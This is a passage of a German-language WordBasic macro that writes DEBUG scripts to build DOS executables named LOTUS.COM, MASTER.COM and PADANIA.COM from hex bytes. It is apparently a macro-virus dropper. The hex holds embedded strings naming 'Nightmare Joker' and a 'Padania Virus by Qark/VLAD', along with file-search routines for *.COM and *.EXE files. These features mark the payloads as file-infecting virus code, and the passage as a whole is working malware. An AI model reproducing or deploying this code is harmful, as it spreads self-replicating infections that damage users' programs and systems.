  4702. Einfügen "Print #1," + Chr$(34) + "E 0F00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4703. EinfügenAbsatz
  4704. Einfügen "Print #1," + Chr$(34) + "E 0F10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4705. EinfügenAbsatz
  4706. Einfügen "Print #1," + Chr$(34) + "E 0F20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4707. EinfügenAbsatz
  4708. Einfügen "Print #1," + Chr$(34) + "E 0F30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4709. EinfügenAbsatz
  4710. Einfügen "Print #1," + Chr$(34) + "E 0F40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4711. EinfügenAbsatz
  4712. Einfügen "Print #1," + Chr$(34) + "E 0F50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4713. EinfügenAbsatz
  4714. Einfügen "Print #1," + Chr$(34) + "E 0F60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4715. EinfügenAbsatz
  4716. Einfügen "Print #1," + Chr$(34) + "E 0F70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4717. EinfügenAbsatz
  4718. Einfügen "Print #1," + Chr$(34) + "E 0F80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4719. EinfügenAbsatz
  4720. Einfügen "Print #1," + Chr$(34) + "E 0F90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4721. EinfügenAbsatz
  4722. Einfügen "Print #1," + Chr$(34) + "E 0FA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4723. EinfügenAbsatz
  4724. Einfügen "Print #1," + Chr$(34) + "E 0FB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4725. EinfügenAbsatz
  4726. Einfügen "Print #1," + Chr$(34) + "E 0FC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4727. EinfügenAbsatz
  4728. Einfügen "Print #1," + Chr$(34) + "E 0FD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4729. EinfügenAbsatz
  4730. Einfügen "Print #1," + Chr$(34) + "E 0FE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4731. EinfügenAbsatz
  4732. Einfügen "Print #1," + Chr$(34) + "E 0FF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4733. EinfügenAbsatz
  4734. Einfügen "Print #1," + Chr$(34) + "E 1000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4735. EinfügenAbsatz
  4736. Einfügen "Print #1," + Chr$(34) + "E 1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4737. EinfügenAbsatz
  4738. Einfügen "Print #1," + Chr$(34) + "E 1020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4739. EinfügenAbsatz
  4740. Einfügen "Print #1," + Chr$(34) + "E 1030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4741. EinfügenAbsatz
  4742. Einfügen "Print #1," + Chr$(34) + "E 1040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4743. EinfügenAbsatz
  4744. Einfügen "Print #1," + Chr$(34) + "E 1050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4745. EinfügenAbsatz
  4746. Einfügen "Print #1," + Chr$(34) + "E 1060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4747. EinfügenAbsatz
  4748. Einfügen "Print #1," + Chr$(34) + "E 1070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4749. EinfügenAbsatz
  4750. Einfügen "Print #1," + Chr$(34) + "E 1080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4751. EinfügenAbsatz
  4752. Einfügen "Print #1," + Chr$(34) + "E 1090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4753. EinfügenAbsatz
  4754. Einfügen "Print #1," + Chr$(34) + "E 10A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4755. EinfügenAbsatz
  4756. Einfügen "Print #1," + Chr$(34) + "E 10B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4757. EinfügenAbsatz
  4758. Einfügen "Print #1," + Chr$(34) + "E 10C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4759. EinfügenAbsatz
  4760. Einfügen "Print #1," + Chr$(34) + "E 10D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4761. EinfügenAbsatz
  4762. Einfügen "Print #1," + Chr$(34) + "E 10E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4763. EinfügenAbsatz
  4764. Einfügen "Print #1," + Chr$(34) + "E 10F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4765. EinfügenAbsatz
  4766. Einfügen "Print #1," + Chr$(34) + "E 1100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4767. EinfügenAbsatz
  4768. Einfügen "Print #1," + Chr$(34) + "E 1110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4769. EinfügenAbsatz
  4770. Einfügen "Print #1," + Chr$(34) + "E 1120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4771. EinfügenAbsatz
  4772. Einfügen "Print #1," + Chr$(34) + "E 1130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4773. EinfügenAbsatz
  4774. Einfügen "Print #1," + Chr$(34) + "E 1140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4775. EinfügenAbsatz
  4776. Einfügen "Print #1," + Chr$(34) + "E 1150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4777. EinfügenAbsatz
  4778. Einfügen "Print #1," + Chr$(34) + "E 1160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4779. EinfügenAbsatz
  4780. Einfügen "Print #1," + Chr$(34) + "E 1170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4781. EinfügenAbsatz
  4782. Einfügen "Print #1," + Chr$(34) + "E 1180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4783. EinfügenAbsatz
  4784. Einfügen "Print #1," + Chr$(34) + "E 1190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4785. EinfügenAbsatz
  4786. Einfügen "Print #1," + Chr$(34) + "E 11A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4787. EinfügenAbsatz
  4788. Einfügen "Print #1," + Chr$(34) + "E 11B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4789. EinfügenAbsatz
  4790. Einfügen "Print #1," + Chr$(34) + "E 11C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4791. EinfügenAbsatz
  4792. Einfügen "Print #1," + Chr$(34) + "E 11D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4793. EinfügenAbsatz
  4794. Einfügen "Print #1," + Chr$(34) + "E 11E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4795. EinfügenAbsatz
  4796. Einfügen "Print #1," + Chr$(34) + "E 11F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4797. EinfügenAbsatz
  4798. Einfügen "Print #1," + Chr$(34) + "E 1200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4799. EinfügenAbsatz
  4800. Einfügen "Print #1," + Chr$(34) + "E 1210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4801. EinfügenAbsatz
  4802. Einfügen "Print #1," + Chr$(34) + "E 1220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4803. EinfügenAbsatz
  4804. Einfügen "Print #1," + Chr$(34) + "E 1230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4805. EinfügenAbsatz
  4806. Einfügen "Print #1," + Chr$(34) + "E 1240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4807. EinfügenAbsatz
  4808. Einfügen "Print #1," + Chr$(34) + "E 1250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4809. EinfügenAbsatz
  4810. Einfügen "Print #1," + Chr$(34) + "E 1260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4811. EinfügenAbsatz
  4812. Einfügen "Print #1," + Chr$(34) + "E 1270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4813. EinfügenAbsatz
  4814. Einfügen "Print #1," + Chr$(34) + "E 1280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4815. EinfügenAbsatz
  4816. Einfügen "Print #1," + Chr$(34) + "E 1290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4817. EinfügenAbsatz
  4818. Einfügen "Print #1," + Chr$(34) + "E 12A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4819. EinfügenAbsatz
  4820. Einfügen "Print #1," + Chr$(34) + "E 12B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4821. EinfügenAbsatz
  4822. Einfügen "Print #1," + Chr$(34) + "E 12C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4823. EinfügenAbsatz
  4824. Einfügen "Print #1," + Chr$(34) + "E 12D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4825. EinfügenAbsatz
  4826. Einfügen "Print #1," + Chr$(34) + "E 12E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4827. EinfügenAbsatz
  4828. Einfügen "Print #1," + Chr$(34) + "E 12F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4829. EinfügenAbsatz
  4830. Einfügen "Print #1," + Chr$(34) + "E 1300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4831. EinfügenAbsatz
  4832. Einfügen "Print #1," + Chr$(34) + "E 1310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4833. EinfügenAbsatz
  4834. Einfügen "Print #1," + Chr$(34) + "E 1320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4835. EinfügenAbsatz
  4836. Einfügen "Print #1," + Chr$(34) + "E 1330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4837. EinfügenAbsatz
  4838. Einfügen "Print #1," + Chr$(34) + "E 1340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4839. EinfügenAbsatz
  4840. Einfügen "Print #1," + Chr$(34) + "E 1350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4841. EinfügenAbsatz
  4842. Einfügen "Print #1," + Chr$(34) + "E 1360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4843. EinfügenAbsatz
  4844. Einfügen "Print #1," + Chr$(34) + "E 1370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4845. EinfügenAbsatz
  4846. Einfügen "Print #1," + Chr$(34) + "E 1380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4847. EinfügenAbsatz
  4848. Einfügen "Print #1," + Chr$(34) + "E 1390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4849. EinfügenAbsatz
  4850. Einfügen "Print #1," + Chr$(34) + "E 13A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4851. EinfügenAbsatz
  4852. Einfügen "Print #1," + Chr$(34) + "E 13B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4853. EinfügenAbsatz
  4854. Einfügen "Print #1," + Chr$(34) + "E 13C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4855. EinfügenAbsatz
  4856. Einfügen "Print #1," + Chr$(34) + "E 13D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4857. EinfügenAbsatz
  4858. Einfügen "Print #1," + Chr$(34) + "E 13E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4859. EinfügenAbsatz
  4860. Einfügen "Print #1," + Chr$(34) + "E 13F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4861. EinfügenAbsatz
  4862. Einfügen "Print #1," + Chr$(34) + "E 1400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4863. EinfügenAbsatz
  4864. Einfügen "Print #1," + Chr$(34) + "E 1410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4865. EinfügenAbsatz
  4866. Einfügen "Print #1," + Chr$(34) + "E 1420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4867. EinfügenAbsatz
  4868. Einfügen "Print #1," + Chr$(34) + "E 1430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4869. EinfügenAbsatz
  4870. Einfügen "Print #1," + Chr$(34) + "E 1440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4871. EinfügenAbsatz
  4872. Einfügen "Print #1," + Chr$(34) + "E 1450 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4873. EinfügenAbsatz
  4874. Einfügen "Print #1," + Chr$(34) + "RCX" + Chr$(34)
  4875. EinfügenAbsatz
  4876. Einfügen "Print #1," + Chr$(34) + "135A" + Chr$(34)
  4877. EinfügenAbsatz
  4878. Einfügen "Print #1," + Chr$(34) + "W" + Chr$(34)
  4879. EinfügenAbsatz
  4880. Einfügen "Print #1," + Chr$(34) + "Q" + Chr$(34)
  4881. EinfügenAbsatz
  4882. Einfügen "Close #1"
  4883. EinfügenAbsatz
  4884. Einfügen "c$ = " + Chr$(34) + "LOTUS.COM" + Chr$(34)
  4885. Finished
  4886. End Sub
  4887.  
  4888. Sub Master
  4889. Install
  4890. Einfügen "Print #1," + Chr$(34) + "N MASTER.COM" + Chr$(34)
  4891. EinfügenAbsatz
  4892. Einfügen "Print #1," + Chr$(34) + "E 0100 E9 00 00 BB 12 01 B9 2A 01 2E 81 07 00 00 43 43" + Chr$(34)
  4893. EinfügenAbsatz
  4894. Einfügen "Print #1," + Chr$(34) + "E 0110 E2 F7 E8 00 00 5D 81 ED 15 01 06 1E B8 24 35 CD" + Chr$(34)
  4895. EinfügenAbsatz
  4896. Einfügen "Print #1," + Chr$(34) + "E 0120 21 06 53 B8 24 25 8D 96 DC 01 CD 21 0E 07 0E 1F" + Chr$(34)
  4897. EinfügenAbsatz
  4898. Einfügen "Print #1," + Chr$(34) + "E 0130 0E 07 8D B6 F2 05 B4 47 B2 00 CD 21 B4 1A 8D 96" + Chr$(34)
  4899. EinfügenAbsatz
  4900. Einfügen "Print #1," + Chr$(34) + "E 0140 C6 05 CD 21 1E 06 B8 21 35 CD 21 06 1F 87 DA B8" + Chr$(34)
  4901. EinfügenAbsatz
  4902. Einfügen "Print #1," + Chr$(34) + "E 0150 03 25 CD 21 07 1F 8D B6 D4 01 8D BE CC 01 A5 A5" + Chr$(34)
  4903. EinfügenAbsatz
  4904. Einfügen "Print #1," + Chr$(34) + "E 0160 A5 A5 C6 86 32 06 00 8D 96 55 03 E8 71 00 8D 96" + Chr$(34)
  4905. EinfügenAbsatz
  4906. Einfügen "Print #1," + Chr$(34) + "E 0170 5B 03 E8 6A 00 80 BE 32 06 05 73 09 B4 3B 8D 96" + Chr$(34)
  4907. EinfügenAbsatz
  4908. Einfügen "Print #1," + Chr$(34) + "E 0180 61 03 CC 73 E2 8D B6 F1 05 C6 04 5C B4 3B 87 D6" + Chr$(34)
  4909. EinfügenAbsatz
  4910. Einfügen "Print #1," + Chr$(34) + "E 0190 CC 5A 1F B8 24 25 CC 1F 07 B4 1A BA 80 00 CC 81" + Chr$(34)
  4911. EinfügenAbsatz
  4912. Einfügen "Print #1," + Chr$(34) + "E 01A0 FC 4A 4E 74 0E BF 00 01 57 8D B6 CD 01 B9 03 00" + Chr$(34)
  4913. EinfügenAbsatz
  4914. Einfügen "Print #1," + Chr$(34) + "E 01B0 F3 A4 C3 8C C0 05 10 00 2E 01 86 CE 01 2E 03 86" + Chr$(34)
  4915. EinfügenAbsatz
  4916. Einfügen "Print #1," + Chr$(34) + "E 01C0 D0 01 FA 8E D0 2E 8B A6 D2 01 FB EA 00 00 00 00" + Chr$(34)
  4917. EinfügenAbsatz
  4918. Einfügen "Print #1," + Chr$(34) + "E 01D0 00 00 00 00 00 CD 20 00 00 00 00 00 B0 03 CF B9" + Chr$(34)
  4919. EinfügenAbsatz
  4920. Einfügen "Print #1," + Chr$(34) + "E 01E0 07 00 B4 4E CC 72 CB 8D 96 E4 05 B8 00 43 CC 72" + Chr$(34)
  4921. EinfügenAbsatz
  4922. Einfügen "Print #1," + Chr$(34) + "E 01F0 C1 51 52 B8 01 43 50 33 C9 CC 8D 96 E4 05 B8 02" + Chr$(34)
  4923. EinfügenAbsatz
  4924. Einfügen "Print #1," + Chr$(34) + "E 0200 3D CC 93 B8 00 57 CC 51 52 B4 3F 8D 96 33 06 B9" + Chr$(34)
  4925. EinfügenAbsatz
  4926. Einfügen "Print #1," + Chr$(34) + "E 0210 1A 00 CC B8 02 42 33 C9 99 CC 81 BE 33 06 4D 5A" + Chr$(34)
  4927. EinfügenAbsatz
  4928. Einfügen "Print #1," + Chr$(34) + "E 0220 74 37 8B 8E 34 06 81 C1 64 02 3B C1 74 33 3D B5" + Chr$(34)
  4929. EinfügenAbsatz
  4930. Einfügen "Print #1," + Chr$(34) + "E 0230 FA 77 2E 3D 61 02 72 29 8D B6 33 06 8D BE D5 01" + Chr$(34)
  4931. EinfügenAbsatz
  4932. Einfügen "Print #1," + Chr$(34) + "E 0240 A4 A5 8B F0 81 C6 00 01 B9 03 00 2B C1 89 86 34" + Chr$(34)
  4933. EinfügenAbsatz
  4934. Einfügen "Print #1," + Chr$(34) + "E 0250 06 B2 E9 88 96 33 06 EB 65 81 BE 43 06 4A 4E 75" + Chr$(34)
  4935. EinfügenAbsatz
  4936. Einfügen "Print #1," + Chr$(34) + "E 0260 03 E9 C0 00 8D BE D4 01 8D B6 47 06 A5 A5 83 EE" + Chr$(34)
  4937. EinfügenAbsatz
  4938. Einfügen "Print #1," + Chr$(34) + "E 0270 0A A5 A5 53 8B 9E 3B 06 B1 04 D3 E3 52 50 2B C3" + Chr$(34)
  4939. EinfügenAbsatz
  4940. Einfügen "Print #1," + Chr$(34) + "E 0280 83 DA 00 B9 10 00 F7 F1 89 86 41 06 89 86 49 06" + Chr$(34)
  4941. EinfügenAbsatz
  4942. Einfügen "Print #1," + Chr$(34) + "E 0290 89 96 47 06 C7 86 43 06 4A 4E 8B F2 58 5A 05 61" + Chr$(34)
  4943. EinfügenAbsatz
  4944. Einfügen "Print #1," + Chr$(34) + "E 02A0 02 83 D2 00 B1 09 50 D3 E8 D3 CA F9 13 D0 58 80" + Chr$(34)
  4945. EinfügenAbsatz
  4946. Einfügen "Print #1," + Chr$(34) + "E 02B0 E4 01 89 86 35 06 89 96 37 06 5B B9 1A 00 51 B4" + Chr$(34)
  4947. EinfügenAbsatz
  4948. Einfügen "Print #1," + Chr$(34) + "E 02C0 2C CC 0B D2 74 F9 83 C6 0F 3E 89 B6 04 01 3E 89" + Chr$(34)
  4949. EinfügenAbsatz
  4950. Einfügen "Print #1," + Chr$(34) + "E 02D0 96 0C 01 8D BE 64 03 B9 30 01 8D B6 03 01 56 F3" + Chr$(34)
  4951. EinfügenAbsatz
  4952. Einfügen "Print #1," + Chr$(34) + "E 02E0 A5 8D 86 73 03 3E 89 86 04 01 5E FF B6 12 01 C6" + Chr$(34)
  4953. EinfügenAbsatz
  4954. Einfügen "Print #1," + Chr$(34) + "E 02F0 86 12 01 C3 80 B6 6C 03 28 53 FF D6 5B 8F 86 12" + Chr$(34)
  4955. EinfügenAbsatz
  4956. Einfügen "Print #1," + Chr$(34) + "E 0300 01 80 B6 0B 01 28 B4 40 B9 61 02 8D 96 64 03 CC" + Chr$(34)
  4957. EinfügenAbsatz
  4958. Einfügen "Print #1," + Chr$(34) + "E 0310 33 D2 33 C9 B8 00 42 CC B4 40 59 8D 96 33 06 CC" + Chr$(34)
  4959. EinfügenAbsatz
  4960. Einfügen "Print #1," + Chr$(34) + "E 0320 FE 86 32 06 B8 01 57 5A 59 CC B4 3E CC 58 5A 59" + Chr$(34)
  4961. EinfügenAbsatz
  4962. Einfügen "Print #1," + Chr$(34) + "E 0330 CC B4 4F E9 AE FE 5B 50 53 2F 47 FD 5D 00 4E 69" + Chr$(34)
  4963. EinfügenAbsatz
  4964. Einfügen "Print #1," + Chr$(34) + "E 0340 67 68 74 6D 61 72 65 20 4A 6F 6B 65 72 00 4D 61" + Chr$(34)
  4965. EinfügenAbsatz
  4966. Einfügen "Print #1," + Chr$(34) + "E 0350 73 74 65 72 00 2A 2E 45 58 45 00 2A 2E 43 4F 4D" + Chr$(34)
  4967. EinfügenAbsatz
  4968. Einfügen "Print #1," + Chr$(34) + "E 0360 00 2E 2E 00" + Chr$(34)
  4969. EinfügenAbsatz
  4970. Einfügen "Print #1," + Chr$(34) + "RCX" + Chr$(34)
  4971. EinfügenAbsatz
  4972. Einfügen "Print #1," + Chr$(34) + "0264" + Chr$(34)
  4973. EinfügenAbsatz
  4974. Einfügen "Print #1," + Chr$(34) + "W" + Chr$(34)
  4975. EinfügenAbsatz
  4976. Einfügen "Print #1," + Chr$(34) + "Q" + Chr$(34)
  4977. EinfügenAbsatz
  4978. Einfügen "Close #1"
  4979. EinfügenAbsatz
  4980. Einfügen "c$ = " + Chr$(34) + "MASTER.COM" + Chr$(34)
  4981. Finished
  4982. End Sub
  4983.  
  4984. Sub Pandania
  4985. Install
  4986. Einfügen "Print #1," + Chr$(34) + "N PADANIA.COM" + Chr$(34)
  4987. EinfügenAbsatz
  4988. Einfügen "Print #1," + Chr$(34) + "E 0100 06 B4 52 CD 21 26 8E 5F FE 07 8C DB B0 A3 34 F9" + Chr$(34)
  4989. EinfügenAbsatz
  4990. Einfügen "Print #1," + Chr$(34) + "E 0110 8E DB 81 3E 08 00 54 42 75 03 E9 3D 01 81 3E 08" + Chr$(34)
  4991. EinfügenAbsatz
  4992. Einfügen "Print #1," + Chr$(34) + "E 0120 00 4E 45 75 03 E9 32 01 38 06 00 00 74 07 03 1E" + Chr$(34)
  4993. EinfügenAbsatz
  4994. Einfügen "Print #1," + Chr$(34) + "E 0130 03 00 43 EB DB 81 3E 08 00 44 4F 75 03 E9 1A 01" + Chr$(34)
  4995. EinfügenAbsatz
  4996. Einfügen "Print #1," + Chr$(34) + "E 0140 B8 C9 01 29 06 03 00 26 29 06 02 00 B0 F2 34 BF" + Chr$(34)
  4997. EinfügenAbsatz
  4998. Einfügen "Print #1," + Chr$(34) + "E 0150 A2 00 00 03 1E 03 00 43 8E DB B0 D2 34 88 A2 00" + Chr$(34)
  4999. EinfügenAbsatz
  5000. Einfügen "Print #1," + Chr$(34) + "E 0160 00 B8 A1 00 2D 99 00 A3 01 00 B8 C8 01 A3 03 00" + Chr$(34)
  5001. EinfügenAbsatz
  5002. Einfügen "Print #1," + Chr$(34) + "E 0170 C7 06 08 00 44 4F C6 06 0A 00 53 C6 06 0B 00 00" + Chr$(34)
  5003. EinfügenAbsatz
  5004. Einfügen "Print #1," + Chr$(34) + "E 0180 43 8E DB E8 B1 09 81 EE 86 00 2E 89 B4 4D 01 2E" + Chr$(34)
  5005. EinfügenAbsatz
  5006. Einfügen "Print #1," + Chr$(34) + "E 0190 8C 8C 4B 01 8B C6 05 5A 01 2E 89 84 49 01 B9 EE" + Chr$(34)
  5007. EinfügenAbsatz
  5008. Einfügen "Print #1," + Chr$(34) + "E 01A0 0D 2B FF 2E 8A 04 88 05 46 47 E2 F7 1E B8 B2 00" + Chr$(34)
  5009. EinfügenAbsatz
  5010. Einfügen "Print #1," + Chr$(34) + "E 01B0 50 CB 2B C0 8E D8 BE 02 00 8B 84 82 00 2E A3 6F" + Chr$(34)
  5011. EinfügenAbsatz
  5012. Einfügen "Print #1," + Chr$(34) + "E 01C0 03 8B 84 84 00 2E A3 71 03 C7 84 82 00 FD 02 8C" + Chr$(34)
  5013. EinfügenAbsatz
  5014. Einfügen "Print #1," + Chr$(34) + "E 01D0 8C 84 00 B8 41 DD 35 41 96 E8 97 0C B4 19 E8 92" + Chr$(34)
  5015. EinfügenAbsatz
  5016. Einfügen "Print #1," + Chr$(34) + "E 01E0 0C 3C 02 72 63 06 B4 2F E8 88 0C 2E 8C 06 56 01" + Chr$(34)
  5017. EinfügenAbsatz
  5018. Einfügen "Print #1," + Chr$(34) + "E 01F0 2E 89 1E 58 01 07 2E 8E 1E 4B 01 2E 8B 16 4D 01" + Chr$(34)
  5019. EinfügenAbsatz
  5020. Einfügen "Print #1," + Chr$(34) + "E 0200 B4 1A E8 6E 0C 0E 1F 2B C0 80 C4 4E 0E 1F BA 4F" + Chr$(34)
  5021. EinfügenAbsatz
  5022. Einfügen "Print #1," + Chr$(34) + "E 0210 01 B9 03 00 E8 5C 0C 72 20 8B 36 4D 01 8E 1E 4B" + Chr$(34)
  5023. EinfügenAbsatz
  5024. Einfügen "Print #1," + Chr$(34) + "E 0220 01 8A 44 16 24 1F 3C 02 74 0A 8D 54 1E B8 00 43" + Chr$(34)
  5025. EinfügenAbsatz
  5026. Einfügen "Print #1," + Chr$(34) + "E 0230 CD 21 EB 05 B8 00 01 EB D0 0E 1F 8B 16 58 01 8E" + Chr$(34)
  5027. EinfügenAbsatz
  5028. Einfügen "Print #1," + Chr$(34) + "E 0240 1E 56 01 B4 1A E8 2B 0C EA 5A 01 00 00 00 00 2A" + Chr$(34)
  5029. EinfügenAbsatz
  5030. Einfügen "Print #1," + Chr$(34) + "E 0250 6D 2E 63 6F 6D 00 00 00 00 00 E8 DA 08 0E 1F 81" + Chr$(34)
  5031. EinfügenAbsatz
  5032. Einfügen "Print #1," + Chr$(34) + "E 0260 EE 5D 01 8C D0 8C CB 3B C3 75 20 BF 28 18 81 F7" + Chr$(34)
  5033. EinfügenAbsatz
  5034. Einfügen "Print #1," + Chr$(34) + "E 0270 28 19 8B 84 FA 02 89 05 8A 84 FC 02 88 45 02 2B" + Chr$(34)
  5035. EinfügenAbsatz
  5036. Einfügen "Print #1," + Chr$(34) + "E 0280 C0 8B D8 8B C8 8B D0 8B F0 FF E7 06 1F 8C C0 05" + Chr$(34)
  5037. EinfügenAbsatz
  5038. Einfügen "Print #1," + Chr$(34) + "E 0290 10 00 2E 03 84 93 0D 2E 89 84 CA 01 2E 8B 84 91" + Chr$(34)
  5039. EinfügenAbsatz
  5040. Einfügen "Print #1," + Chr$(34) + "E 02A0 0D 2E 89 84 C8 01 EB 00 8C C0 05 10 00 2E 03 84" + Chr$(34)
  5041. EinfügenAbsatz
  5042. Einfügen "Print #1," + Chr$(34) + "E 02B0 8B 0D FA 8E D0 2E 8B A4 8D 0D FB 2B C0 8B D8 8B" + Chr$(34)
  5043. EinfügenAbsatz
  5044. Einfügen "Print #1," + Chr$(34) + "E 02C0 C8 8B D0 8B F0 8B F8 EA 00 00 00 00 50 61 64 61" + Chr$(34)
  5045. EinfügenAbsatz
  5046. Einfügen "Print #1," + Chr$(34) + "E 02D0 6E 69 61 20 56 69 72 75 73 20 62 79 20 51 61 72" + Chr$(34)
  5047. EinfügenAbsatz
  5048. Einfügen "Print #1," + Chr$(34) + "E 02E0 6B 2F 56 4C 41 44 0D 0A 54 68 69 73 20 76 69 72" + Chr$(34)
  5049. EinfügenAbsatz
  5050. Einfügen "Print #1," + Chr$(34) + "E 02F0 75 73 20 69 73 20 64 65 64 69 63 61 74 65 64 20" + Chr$(34)
  5051. EinfügenAbsatz
  5052. Einfügen "Print #1," + Chr$(34) + "E 0300 74 6F 20 61 6C 6C 20 74 68 65 20 70 65 6F 70 6C" + Chr$(34)
  5053. EinfügenAbsatz
  5054. Einfügen "Print #1," + Chr$(34) + "E 0310 65 20 69 6E 20 50 61 64 61 6E 69 61 0D 0A 28 4E" + Chr$(34)
  5055. EinfügenAbsatz
  5056. Einfügen "Print #1," + Chr$(34) + "E 0320 6F 72 74 68 65 72 6E 20 49 74 61 6C 79 29 20 77" + Chr$(34)
